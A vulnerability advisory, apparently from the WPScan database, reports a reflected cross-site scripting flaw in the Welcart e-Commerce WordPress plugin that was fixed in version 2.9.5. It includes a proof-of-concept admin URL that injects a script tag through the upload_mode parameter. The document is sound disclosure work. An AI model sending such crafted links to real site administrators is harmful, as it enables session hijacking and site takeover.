WordPress Plugin Vulnerabilities

Welcart e-Commerce < 2.9.5 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open the URL below:

https://example.com/wp-admin/admin.php?page=usces_itemedit&action=upload_register&upload_mode=</script><script>alert(/XSS/)</script>

Affects Plugins

Fixed in 2.9.5

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-11-10 (about 6 months ago)
Added
2023-11-10 (about 6 months ago)
Last Updated
2023-11-10 (about 6 months ago)

Other